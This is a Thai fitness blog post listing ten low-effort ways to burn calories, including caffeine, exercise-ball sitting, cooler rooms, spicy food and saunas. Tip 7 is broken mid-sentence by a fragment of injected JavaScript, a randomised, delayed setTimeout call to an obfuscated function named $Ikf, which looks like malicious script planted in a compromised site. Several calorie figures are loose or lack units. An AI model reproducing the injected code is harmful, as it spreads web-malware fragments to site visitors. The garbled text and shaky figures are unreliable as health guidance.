• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

10 วิธีเบริ์นแคลอรี่แบบขี้เกียจ

stepextra by stepextra
15 July 2015
in Feature, Healthy Tips, Tips & Technics
0
10 วิธีเบริ์นแคลอรี่แบบขี้เกียจ
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

10 วิธีเบริ์นแคลอรี่แบบขี้เกียจ

ขี้เกียจออกกำลังกายแต่อยากผอม….StepExtra ภูมิใจนำเสนอวิธีเบริ์นแคลอรี่แบบฉบับคนขี้เกียจ

1. รับประทานคาเฟอีน สารคาเฟอีนช่วยกระตุ้นการเผาผลาญแคลอรี่ได้ 3 ชั่วโมง ถ้าไม่กินกาแฟ ลองชาดูก็ได้

a-cup-of-coffee-399478_1280

2. Active sitting รู้หรือไม่การนั่งบนเจ้า stability ball หรือ chair ball สามารถช่วยเผาผลาญแคลอรี่ได้ 260 ต่อวัน แถมยังช่วยฝึก Core Muscle

sitting-exercise-ball

3. เคี้ยวหมากฝรั่งการเคี้ยวหมากฝรั่งช่วยลดการกินขนมขบเคี้ยวได้ 20 เลยนะ

bubble-gum-438404_1280

4. ลดอุณหภูมิห้องลงที่อุณหภูมิประมาณ 17-18 องศาเซลเซียส เราจะเผาผลาญไขมันมากขึ้นเพื่อรักษาอุณภูมิร่างกายให้คงที่

home-office-569153_1280

5. อาหารไทย รู้หรือไม่ว่าอาหารประจำภูมิภาคเอเชียตะวันออกเฉียงใต้โดยเฉพาะไทยช่วยเพิ่มการเผาผลาญแคลอรี่ได้มากขึ้น ส่วนผสมหลักๆ คงหนีไม่พ้นพริกไทยและพริกขี้หนู

noodles-545259_1280

6. เล่นเวทน้อยลง 1 วัน การฝึก Strength training 2 ครั้งต่อสัปดาห์ กับการฝึกตามแผน 3 วันต่อสัปดาห์ ให้ผลเท่ากัน

bodybuilding-motivation-28325-1920x1200

 

7. สงบลดความเครียด คนที่มีความเครียดเวลาออกกำลังกายจะเผาแคลอรี่น้อยกว่าคนที่มีอารมณ์ปกติ ฉะนั้น Keep clam andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and workout.

training-828726_1280

8. งดเครื่องดื่มแอลกอฮอล์ การงดเครื่องดื่มที่มีแอลกอฮอล์อย่างพวกเบียร์ สามารถลดการสร้างไขมันและลดจำนวนแคลอรี่เข้าร่างกายได้ประมาณ 148 แคลอรี่เลยละ

beer-210197_1280

9. เขย่าขานะดี อาการอยู่ไม่สุขอย่างการนั่งเขย่าขาไปมา ช่วยฝึกกล้ามเนื้อและสามารถเผาผลาญแคลอรี่ได้เป็นร้อยแทนการนั่งอยู่นิ่งๆ

1110-FidgetyKids2-300x204

10. เข้าซาวน่า เข้าอบซาวน่า 10 นาที สามารถกระตุ้นระบบเมตาบอลิซึ่มได้เป็นชั่วโมง

sauna-253938_1280

 

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.